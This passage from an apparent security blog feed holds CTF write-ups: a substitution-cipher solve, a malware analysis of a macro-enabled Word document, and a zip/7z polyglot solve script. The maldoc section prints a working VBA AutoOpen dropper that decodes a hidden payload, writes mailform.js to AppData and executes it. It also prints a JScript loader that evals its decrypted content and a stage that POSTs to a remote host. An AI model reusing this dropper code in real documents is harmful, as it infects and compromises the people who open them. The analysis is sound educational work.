anmahmc alyamqg dc vygqlcsamc teag anequmq eyylsyam ed rklu CCA{bmkalom_gl_cca_gbmygw_gbmygw_tlsq_kmgd_cl_dlom_aqwjgl} The last part (CCA{bmkalom_gl_cca_gbmygw_gbmygw_tlsq_kmgd_cl_dlom_aqwjgl}) seems to be the encrypted flag, from the title we can guess that this is a substitution cipher.We are given the following text:

alojsgegvly uqecm teag jvayva regnqllo gqeahvyu uqmegkw ueomd cmd redmd cvdalzmq dgqmeo bnvkdg p ylzmkgw eyekwdg jqvmdg zmqpmvanyvd jqmddsqm dvmomyd nqd od djed nezm on alcmd djlhm uvqk mijlqgd danlkeqdnvjd oeysteagsqvyu zmqrek blqhmqd rllk dnm aloovggmc gmqqvglqvmd cvuvgek vytksmyamc gnlodly rmggw dvuy glgekkw alydgeygkw qloeygva gmqo bvyud uqmmam oegg avekvd tmmd djmavtw clyekc eqod xsm ueooe jkewvyu olcvtw be mkdm jsojd qeqm gnsycmq tklbd neo nsyg reahsj evqjkeym alzmqd jqltmddlq tklwc dgvah zmyclqd teqovyu umygkmoey qmmt jeg tedgmq qmjkvaegvly uorn qlahmg ymbeqh euvyu dgeqdomqaneyg fscuomyg yly lqek gnmge qmomormq aml cmakeqegvly ecmxsegm bvkckvtm eolsyg qu csyaey rmccvyu yk oeqgvy ecovyvdgqeglq ywkly klbd vyaksdvly uvd dmmd vygmqmdgvyu cmdgqlw aljvmc hegvm jljskegvlyd bvtm jqldglqmd bednmq dmaglq jeqgd vygmqdgegm ljg dlqg jmqtmagkw migmydvlyd osdgeyu dmmhmq vgmo dmovyeq gqeyddmisek eaamdd dvuyvtvaeyg dhvj dsjmqzvdlq olgnmq qmcsavyu ovcyvung rkmdd qeo dglqmc neqcalzmq jqlamcsqmd oeg mieojkmd egoldjnmqva evqkvym vygmqmdgmc qmecd mojklw vytqvyumomyg qmjkeamc amygqm qlde hvkkmc av gsrm gmyc gdsyeov owmqd ieyei kvdg oewlq gvggmy bnvkdg aneyamkklq oevygevyd avqasodgeyamd qekmvun kvervkvgw olydgmq rqectlqc omedsqmomyg jwgnly zmumgeqvey eygnqljlkluw uvzm vygmycmc rq aegd ecc djlqgd qecvegvly dezmc jqlzvyavek laasqd gei daqvjgvyu kmggmq gqezmkmq eodgmqceo aneormq acg aneqeagmqd qmomormqmc gqmedsqmq oevkgl eczmqgvdvyu cmah ae bmc qmdvcmyg anqlyvakm dgmjd yezw sqrey rqmedg olqek mijldsqm lsung omedsqm kvyh alytvusqmc clyegm jskk vytmagvlyd rh djmavekd cllqd dmkkvyu qmjqmdmygegvly ovysd gmkmjnlyw alksoyd dmkkd mimasgvzmd deo alqqmdjlycvyu qvah glkmqeyam tlaek fmttqmw tmegsqmc rsggly glsanmc rwgm cegm dsrkvom oo gneyhduvzvyu tvggmc oedly jmymgqegvly clomdgva tlasd aeojd djmyamq gtg rkmdd key ezlvcvyu bmmhmyc eumc reqqvmqd rsah dvoskegvly rklu alygvymyg eczlaegm bmkdn zmqrek bnldm bvkmw alljmqegvzm gvomkvym asdglovpmc jlsq eddsojgvlyd rklahd ca mdgegmd jsqdsm nggj jkeamc mqqlq omcvaek ecljgvly aeko ejjqlean ueovyu lqcvyeqw dlomgnvyu oegmqvek aedsek keor eylywolsd ymvunrlq dbvganmd sb bmkkd alygmyg qmovyc yevkd nvunmdg qeyumqd aekkvyu nekt rh teggw mijl jlkvdnmc desam dgscvmc gneyhd cmolydgqegm nlrrw et yehmc qmtmqmyamd vyclymdve mcvyrsqun aneqgd qlrsdg qmfmagmc dgeqd neydmy rllo miamdd ajs tvko zvlkmyam rsd jkewreah clomdgva om jmyekgvmd gqvzve uqlzm qvungd cqso sycmqdgeyc bnmqmed alojsgegvlyek laasjvmc lqvmygek oequvy rlysd mijkvavg alyt ekvzm ymbaedgkm ymmcmc vyhfmg jsrkvdnmq qmyevddeyam ekgmqyegvzmkw jsr dsrfmagvzm jlvyg lsq gre uylom cwyeovad uvqkd alkkmagmc anqvdgveyvgw eyekwpm bekkeam alek gqeydvgvly tvung mijmycvgsqm olglqawakm jdwanlkluvaek by deqen qeavek dgljd alygeagvyu jqevqvm tvdnvyu yshm keah uqed kmet aejvglk jct mygqvmd eqmye umluqejnw jsppkmd cvdymw eqvdm db mzeksegmc rmqhmkmw vycveye migmydvlyd myclqdmc alydmqzegvly ovyvoso yskk clm escvg dedheganmbey ymbdjejmqd odu anmahmc alyamqg dc vygqlcsamc teag anequmq eyylsyam ed rklu CCA{bmkalom_gl_cca_gbmygw_gbmygw_tlsq_kmgd_cl_dlom_aqwjgl}

The last part (CCA{bmkalom_gl_cca_gbmygw_gbmygw_tlsq_kmgd_cl_dlom_aqwjgl}) seems to be the encrypted flag, from the title we can guess that this is a substitution cipher.

We can already see that C->D and A->C from the fact that the flag format is DDC{<text>}. We can solve the rest of the substitutions either by slowly by hand or use one of the many autosolvers that exist on the internet. In this case i am using guballa.de.

We thrus get:

computation grade fact picnic bathroom tracking greatly games des bases discover stream whilst z novelty analyst priest verzeichnis pressure siemens hrs ms spas have mh codes spoke girl exports scholarships manufacturing verbal workers bool she committed territories digital influenced thomson betty sign totally constantly romantic term wings greece matt cialis fees specify donald arms que gamma playing modify wa else pumps rare thunder flows ham hunt backup airplane covers professor floyd stick vendors farming gentleman reef pat faster replication gmbh rocket newark aging starsmerchant judgment non oral theta remember ceo declaration adequate wildlife amount rg duncan bedding nl martin administrator nylon lows inclusion gis sees interesting destroy copied katie populations wife prostores washer sector parts interstate opt sort perfectly extensions mustang seeker item seminar transsexual access significant skip supervisor mother reducing midnight bless ram stored hardcover procedures mat examples atmospheric airline interested reads employ infringement replaced centre rosa killed ci tube tend tsunami myers xanax list mayor titten whilst chancellor maintains circumstances raleigh liability monster bradford measurement python vegetarian anthropology give intended br cats add sports radiation saved provincial occurs tax scripting letter traveler amsterdam chamber cdt characters remembered treasurer mailto advertising deck ca wed resident chronicle steps navy urban breast moral exposure ought measure link configured donate pull infections bk specials doors selling representation minus telephony columns sells executives sam corresponding rick tolerance focal jeffrey featured button touched byte date sublime mm thanksgiving fitted mason penetration domestic focus camps spencer tft bless lan avoiding weekend aged barriers buck simulation blog continent advocate welsh verbal whose wiley cooperative timeline customized pour assumptions blocks dc estates pursue http placed error medical adoption calm approach gaming ordinary something material casual lamb anonymous neighbor switches uw wells content remind nails highest rangers calling half bk fatty expo polished sauce studied thanks demonstrate hobby af naked references indonesia edinburgh charts robust rejected stars hansen boom excess cpu film violence bus playback domestic me penalties trivia grove rights drum understand whereas computational occupied oriental margin bonus explicit conf alive newcastle needed inkjet publisher renaissance alternatively pub subjective point our tba gnome dynamics girls collected christianity analyze wallace coal transition fight expenditure motorcycle psychological wn sarah racial stops contacting prairie fishing nuke lack gras leaf capitol pdf entries arena geography puzzles disney arise sw evaluated berkeley indiana extensions endorsed conservation minimum null doe audit saskatchewan newspapers msg checked concert sd introduced fact charger announce as blog DDC{welcome_to_ddc_twenty_twenty_four_lets_do_some_crypto}

With the following key:

abcdefghijklmnopqrstuvwxyz
cwdsajtkxploehmzrbufgiyqnv

The flag is then: DDC{welcome_to_ddc_twenty_twenty_four_lets_do_some_crypto}.

]]>HTB Cyber Apocalypse 2024 - Game Invitationhttps://osiriz.dev/posts/2024/03/htb-cyber-apocalypse-2024-game-invitation/Sun, 17 Mar 2024 22:00:00 +0100https://osiriz.dev/posts/2024/03/htb-cyber-apocalypse-2024-game-invitation/Challenge description In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: &ldquo;Join The Fray: Embrace the Challenge.&rdquo; But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?Challenge description

In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: “Join The Fray: Embrace the Challenge.” But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?

What kind of file do we get?

The file is of the type docm which is a Microsoft Word macro-enabled document1. This is like a docx file, which also has the ability to store charts, shapes, images, formatted text etc. The difference between these two file types, is that files with the docm extension can execute macros to automate tasks in word2. These kind of file extensions can be used for a lot of different kinds of attacks, by taking advantage of the VBA programming that is used for MS macros, to inject malware into a user’s system. This line of thought will be in the back of our minds while we try to solve this challenge.

So when there is a CTF challenge with a MS Word macro-enabled document, one of the first things we want to do is to check what the macros actually do, since this is usually the initial stage of an attack. So to do that, we want to do macro-extraction and deobfuscation.

Macro-extraction and first stage deobfuscation

We have to extract the Word macros out of the document, to deobfuscate them, and for that we are going to use the python tool called Oletools. Oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging3.

To use oletools, we execute the following command:

$ olevba -c invitation.docm
  • olevba - specifying the use of oletools
  • -c - Display VBA source code, but do not analyze it (we will do this manually later)

The output of this is:

olevba 0.60.1 on Python 3.11.2 - http://decalage.info/python/oletools
===============================================================================
FILE: invitation.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public IAiiymixt As String
Public kWXlyKwVj As String


Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function

Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub

Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then

Else

Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
    Set vTxAnSEFH = CreateObject("vbscript.regexp")
    vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub

We can see there is an obfuscated Visual Basic macro, because the function and variable name are all scrambled up, and there isn’t any meaning to them. This makes it hard to understand what the code actually does, therefore we will try to deobfuscate it. This is done by trying to understand what the function does, and what the purpose of the variables are.

Instead of using oletools for deobfuscation, we will do this manually. This is because often it takes a person to understand the meaning of the different obfuscated functions and variables.

We will go through the code and give the function and variables relevant names:

Public mailformjspath As String
Public appdatapath As String


Function reassemblepayload(given_string() As Byte, length As Long) As Boolean
	Dim xor_key As Byte
	xor_key = 45
	For i = 0 To length - 1
		given_string(i) = given_string(i) Xor xor_key
		xor_key = ((xor_key Xor 99) Xor (i Mod 254))
		Next i
	reassemblepayload = True
End Function

Sub AutoClose() 'delete the js script'
	On Error Resume Next
	Kill mailformjspath
	On Error Resume Next
	Set filesystemobject = CreateObject("Scripting.FileSystemObject")
	filesystemobject.DeleteFile appdatapath & "\*.*", True
	Set filesystemobject = Nothing
End Sub

Sub AutoOpen()
	On Error GoTo end_of_program
	Dim chkDomain As String
	Dim strUserDomain As String
	chkDomain = "GAMEMASTERS.local"
	strUserDomain = Environ$("UserDomain")
	If chkDomain <> strUserDomain Then

	Else
		Dim worddocfile
		Dim file_length As Long
		Dim length As Long
		file_length = FileLen(ActiveDocument.FullName)
		worddocfile = FreeFile
		Open (ActiveDocument.FullName) For Binary As #worddocfile
		Dim worddocfiledata() As Byte
		ReDim worddocfiledata(file_length)
		Get #worddocfile, 1, worddocfiledata
		Dim worddocfiledataasstr As String
		worddocfiledataasstr = StrConv(worddocfiledata, vbUnicode)
		Dim regexp_match, regexp_matches
		Dim regexp
		Set regexp = CreateObject("vbscript.regexp")
		regexp.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
		Set regexp_matches = regexp.Execute(worddocfiledataasstr)
		Dim preindextomailformjspayload
		If regexp_matches.Count = 0 Then
			GoTo end_of_program
		End If
		For Each regexp_match In regexp_matches
			preindextomailformjspayload = regexp_match.FirstIndex
			Exit For
		Next
		Dim mailformjspayload() As Byte
		Dim mailformjspayloadlength As Long
		mailformjspayloadlength = 13082
		ReDim mailformjspayload(mailformjspayloadlength)
		Get #worddocfile, preindextomailformjspayload + 81, mailformjspayload
		If Not reassemblepayload(mailformjspayload(), mailformjspayloadlength + 1) Then
			GoTo end_of_program
		End If
		appdatapath = Environ("appdata") & "\Microsoft\Windows"
		Set filesystemobject = CreateObject("Scripting.FileSystemObject")
		If Not filesystemobject.FolderExists(appdatapath) Then
			appdatapath = Environ("appdata")
		End If
		Set filesystemobject = Nothing
		Dim mailformjsfile
		mailformjsfile = FreeFile
		mailformjspath = appdatapath & "\" & "mailform.js"
		Open (mailformjspath) For Binary As #mailformjsfile
		Put #mailformjsfile, 1, mailformjspayload
		Close #mailformjsfile
		Erase mailformjspayload
		Set shell = CreateObject("WScript.Shell")
		shell.Run """" + mailformjspath + """" + " vF8rdgMHKBrvCoCp0ulm"
		ActiveDocument.Save
		Exit Sub
		end_of_program:
		Close #mailformjsfile
		ActiveDocument.Save
	End If
End Sub

When deobfuscating the code, we see that there is one function and several sub procedures in the form of AutoClose() and AutoOpen(). The latter of which runs when the document is opened.

When the document is opened, it is checked whether the computer’s domain is GAMEMASTERS.local, if it isn’t the script does nothing, else the rest of the macro runs. This is probably done to make sure that if the script would try to execute on one of our computers, no harm would be done.

The script does the following:

  1. The script reads a file in a binary format, it reads the raw data of the file and is looking for a specific sequence of characters: sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa. Once these characters are found, it remembers the position.
  2. After finding the position of this set of characters, it then moves forward 81 characters (because the target sequence was 81 characters long) and continues to read 13082 bytes of data from this new position.
  3. The script afterwards uses xor to decrypt the data that it is reading.
  4. This data is saved to a file (and based on the .js extension we can assume it is JScript). This is executed with the parameter vF8rdgMHKBrvCoCp0ulm.

We found the offsets and extracted the 2nd stage with a Python script that was created for the purpose:

with open("invitation.docm", "rb") as fp:
  docbytes = fp.read()

searchstrindex = docbytes.find(b'sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa') - 1

payloadindex = searchstrindex + 81
payloadsize = 13082

obfpayload = docbytes[payloadindex:payloadindex+payloadsize]

# Deobf using the function in the macro
clearpayload = b''
xor_key = 45
for i in range(payloadsize):
  clearpayload += (obfpayload[i] ^ xor_key).to_bytes(1, 'big')
  xor_key = ((xor_key ^ 99) ^ (i % 254))

# Save the second stage
with open('mailform.js', 'wb') as fp:
  fp.write(clearpayload)

Analysis of the second stage

The second stage is a JScript payload. It is similar to Javascript since they are both based on ECMAScript. We can use a javascript beautifier to make it more readable:

var lVky = WScript.Arguments;
var DASz = lVky(0);
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);

function af5Q(r) {
	var a = r.charCodeAt(0);
	if (a === 43 || a === 45) return 62;
	if (a === 47 || a === 95) return 63;
	if (a < 48) return -1;
	if (a < 48 + 10) return a - 48 + 26 + 26;
	if (a < 65 + 26) return a - 65;
	if (a < 97 + 26) return a - 97 + 26
}

function JrvS(r) {
	var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
	var t;
	var l;
	var h;
	if (r.length % 4 > 0) return;
	var u = r.length;
	var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
	var n = new Array(r.length * 3 / 4 - g);
	var i = g > 0 ? r.length - 4 : r.length;
	var z = 0;

	function b(r) {
		n[z++] = r
	}
	for (t = 0, l = 0; t < i; t += 4, l += 3) {
		h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
		b((h & 16711680) >> 16);
		b((h & 65280) >> 8);
		b(h & 255)
	}
	if (g === 2) {
		h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
		b(h & 255)
	} else if (g === 1) {
		h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
		b(h >> 8 & 255);
		b(h & 255)
	}
	return n
}

function xR68(r, a) {
	var t = [];
	var l = 0;
	var h;
	var u = "";
	for (var g = 0; g < 256; g++) {
		t[g] = g
	}
	for (var g = 0; g < 256; g++) {
		l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
		h = t[g];
		t[g] = t[l];
		t[l] = h
	}
	var g = 0;
	var l = 0;
	for (var n = 0; n < a.length; n++) {
		g = (g + 1) % 256;
		l = (l + t[g]) % 256;
		h = t[g];
		t[g] = t[l];
		t[l] = h;
		u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
	}
	return u
}

function lyEK() {
	var r = "cxbDXRuOhlNrpkxS7FWQ5G5jUC+Ria6llsmU8nPMP1NDC1Ueoj5ZEbmFzUbxtqM5UW2+nj/Ke2IDGJ
	...
        T+quYKtMS08BQLTTKZMtMkm0E=";
	return r
}

It seems to assemble another payload based on the first argument to the program (seen in the first stage: vF8rdgMHKBrvCoCp0ulm), again since it is close to JavaScript we can just hardcode the argument value and change eval to console.log so it prints the assembled payload instead of executing it:

var DASz = "vF8rdgMHKBrvCoCp0ulm";
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
console.log(Iwlh);

...

And then run it with a Javascript runtime like node:

$ node mailform_safe.js

Analysis of the third stage

Beautified and cropped version of the third stage:

...

function eRNv(caA2) {
	var jpVh = icVh + EBKd.substring(0, EBKd.length - 2) + "pif";
	var S47T = new ActiveXObject("MSXML2.XMLHTTP");
	S47T.OPEN("post", caA2, false);
	S47T.SETREQUESTHEADER("user-agent:", "Mozilla/5.0 (Windows NT 6.1; Win64; x64); " + he50());
	S47T.SETREQUESTHEADER("content-type:", "application/octet-stream");
	S47T.SETREQUESTHEADER("content-length:", "4");
	S47T.SETREQUESTHEADER("Cookie:", "flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=");
	S47T.SEND("work");
	if (Z6HQ.FILEEXISTS(jpVh)) {
		Z6HQ.DELETEFILE(jpVh)
	}

...

Again, the third stage is pretty long and it is all obfuscated, but what caught my attention was flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=. This is most likely the flag. If we try to decode it from Base64 using cyberchef, we get the flag: HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}

We suspect it was Base64 because whatever that gets encoded with that, generally has = in the end.

Afterward we found a tool that could possibly solve this task a bit more easily than what we did: https://github.com/leabhart/Maldocs

Special thanks to my collegue, friend and fellow hacker Scyras for helping me write this writeup.

  1. https://fileinfo.com/extension/docm ↩︎

  2. https://www.lifewire.com/docm-file-2620747 ↩︎

  3. https://github.com/decalage2/oletools ↩︎

]]>FE-CTF 2023 - Brannigan's Lawhttps://osiriz.dev/posts/2023/11/fe-ctf-2023-brannigans-law/Wed, 01 Nov 2023 09:30:00 +0100https://osiriz.dev/posts/2023/11/fe-ctf-2023-brannigans-law/The Task We get the following task: Captain Zip Brannigan at your service! Stardate... April. The 13th. Point two. We&#39;ve made it to Kompromaise 7, the have-it-both-ways world. Everyone here, from young to old, and in between (..especially in between) are used to compromising. It. Disgusts. Me. But fear not! I have assigned my most trusted chump^H^H^H^H^Hdiplomatic envoy to help make contact. That&#39;s YOU! You need to send a zip file to initiate first contact.The Task

We get the following task:

Captain Zip Brannigan at your service!

Stardate... April. The 13th. Point two.

We've made it to Kompromaise 7, the have-it-both-ways world.

Everyone here, from young to old, and in between (..especially in
between) are used to compromising.

It. Disgusts. Me.

But fear not! I have assigned my most trusted
chump^H^H^H^H^Hdiplomatic envoy to help make contact.

That's YOU!

You need to send a zip file to initiate first contact.

Now remember, the younger seyvaan-siip people, and the older, more
conservative ohns-ehp people don't get along.

Please send a single file that makes everybody happy. And no excuses!

What are you waiting for, cadet? Fly over to
brannigans-law.hack.fe-ctf.dk:1337 right away.

Brannigan out!

And if we connect to the remote with some random data we get:

$ nc brannigans-law.hack.fe-ctf.dk 1337
Okay, Cadet. Listen up.
The situation. Is. Tense.
We need a pair of aces to win this chess match.

The seyvaan-siipians expect a file called 'DoJfLXXWvNUTHKNZnQfadKcV.txt' containing 'RdxHWQMsdUrwtylMdNXVFgCB'

But the proud ohns-ehp tribe demand a file called 'jpyvQGymBaisaRjtcoj.txt' containing 'nwyaPQZrcvjhRSQInVXTqiSd'

We cannot afford to take sides. At least not on your salary.

So it's one file.
You can make one file in two versions in one file, right?
..right?

Ugh. Kif! Clear my desk.  No, not all of it!

Cadet. How large is this file of yours going to be?
1

Very well. Kif, clear space for 1B, there in the corner.  Be careful
with my portrait!

At it Cadet. We haven't got all day!  Let's see this file.
Receiving file.. 1
OK
Systems check:
  unzip: UnZip 6.00 of 20 April 2009, by Debian. Original by Info-ZIP.
  7z: 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
  zipdetails:

Running unzip test.. Bad news, cadet! It seems unzip failed:

    Command '['unzip', '-t', '/tmp/tmpq9jn5jk2.zip']' returned
    non-zero exit status 9.

No flag for you!

Polyglotting

So it seems that we need to create a compressed file where 7-zip and unzip both only see their own file in.

We can solve this with a polyglot file, which is a file that is actually two different files, so the plan is to make a 7-zip archive and a normal zip archive and append their data together, such that 7-zip sees the 7-zip header and extracts that, while unzip skips over the 7-zip file to find the zip file header in the second half of the file.

So lets test this:

$ echo "Content of file 1" > file1.txt
$ 7zz a file1.7z file1.txt

7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit arm_v:8 locale=en_US.UTF-8 Threads:8 OPEN_MAX:2560, ASM

Scanning the drive:
1 file, 18 bytes (1 KiB)

Creating archive: file1.7z

Add new data to archive: 1 file, 18 bytes (1 KiB)


Files read from disk: 1
Archive size: 144 bytes (1 KiB)
Everything is Ok

$ echo "Content of file 2" > file2.txt
$ zip file2.zip file2.txt
  adding: file2.txt (stored 0%)

$ cat file1.7z file2.zip > polyglot.zip
$ file --keep-going polyglot.zip
polyglot.zip: 7-zip archive data, version 0.4
- data

$ 7zz x polyglot.zip

7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit arm_v:8 locale=en_US.UTF-8 Threads:8 OPEN_MAX:2560, ASM

Scanning the drive for archives:
1 file, 331 bytes (1 KiB)

Extracting archive: polyglot.zip

WARNINGS:
There are data after the end of archive

WARNING:
polyglot.zip
Cannot open the file as [zip] archive
The file is open as [7z] archive

--
Path = polyglot.zip
Open WARNING: Cannot open the file as [zip] archive
Type = 7z
WARNINGS:
There are data after the end of archive
Physical Size = 144
Tail Size = 187
Headers Size = 122
Method = LZMA2:12
Solid = -
Blocks = 1


Would you like to replace the existing file:
  Path:     ./file1.txt
  Size:     18 bytes (1 KiB)
  Modified: 2023-11-01 09:12:02
with the file from archive:
  Path:     file1.txt
  Size:     18 bytes (1 KiB)
  Modified: 2023-11-01 09:12:02
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? n

Everything is Ok

Archives with Warnings: 1

Warnings: 1
Size:       18
Compressed: 331

$ unzip polyglot.zip
Archive:  polyglot.zip
warning [polyglot.zip]:  144 extra bytes at beginning or within zipfile
  (attempting to process anyway)
replace file2.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: n

$ echo $?
1

So it seems to work, the only problem is that unzip throws a warning that makes the return value non-zero, luckily we can fix this with zip -F to fix the offset:

$ zip -F polyglot.zip --out fixedpolyglot.zip
Fix archive (-F) - assume mostly intact archive
Zip entry offsets appear off by 144 bytes - correcting...
 copying: file2.txt

$ 7zz x fixedpolyglot.zip

7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit arm_v:8 locale=en_US.UTF-8 Threads:8 OPEN_MAX:2560, ASM

Scanning the drive for archives:
1 file, 331 bytes (1 KiB)

Extracting archive: fixedpolyglot.zip

WARNINGS:
There are data after the end of archive

WARNING:
fixedpolyglot.zip
Cannot open the file as [zip] archive
The file is open as [7z] archive

--
Path = fixedpolyglot.zip
Open WARNING: Cannot open the file as [zip] archive
Type = 7z
WARNINGS:
There are data after the end of archive
Physical Size = 144
Tail Size = 187
Headers Size = 122
Method = LZMA2:12
Solid = -
Blocks = 1


Would you like to replace the existing file:
  Path:     ./file1.txt
  Size:     18 bytes (1 KiB)
  Modified: 2023-11-01 09:12:02
with the file from archive:
  Path:     file1.txt
  Size:     18 bytes (1 KiB)
  Modified: 2023-11-01 09:12:02
? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? n

Everything is Ok

Archives with Warnings: 1

Warnings: 1
Size:       18
Compressed: 331

$ unzip fixedpolyglot.zip
Archive:  fixedpolyglot.zip
replace file2.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: n

Solving and flag

We can solve the challenge on the remote by automating the polyglot generation and sending the polyglot to the server.

For this I wrote the following solve script:

from pwn import remote
from os import system, path

conn = remote("brannigans-law.hack.fe-ctf.dk", 1337)
conn.recvuntil(b"'")
file1_name = conn.recvuntil(b"'").decode()[:-1]
conn.recvuntil(b"'")
file1_contents = conn.recvuntil(b"'").decode()[:-1]
conn.recvuntil(b"'")
file2_name = conn.recvuntil(b"'").decode()[:-1]
conn.recvuntil(b"'")
file2_contents = conn.recvuntil(b"'").decode()[:-1]
conn.recv()

with open(file1_name, 'w') as fp:
    fp.write(file1_contents)

with open(file2_name, 'w') as fp:
    fp.write(file2_contents)

system("7zz a file1.7z " + file1_name)
system("zip file2.zip " + file2_name)

with open("file1.7z", "rb") as fp:
    zip1_data = fp.read()

with open("file2.zip", "rb") as fp:
    zip2_data = fp.read()

parasite_data = zip1_data + zip2_data

with open("parasite.zip", "wb") as fp:
    fp.write(parasite_data)

system("zip -F parasite.zip --out solve.zip")
psize = path.getsize("solve.zip")
print(psize)

conn.sendline(str(psize).encode())

conn.recvuntil(b'file..')

with open("solve.zip", "rb") as fp:
    conn.sendline(fp.read())

conn.interactive()

And in action:

$ python3 solve.py
[+] Opening connection to brannigans-law.hack.fe-ctf.dk on port 1337: Done

7-Zip (z) 23.01 (arm64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit arm_v:8 locale=en_US.UTF-8 Threads:8 OPEN_MAX:2560, ASM

Open archive: file1.7z
--
Path = file1.7z
Type = 7z
Physical Size = 144
Headers Size = 122
Method = LZMA2:12
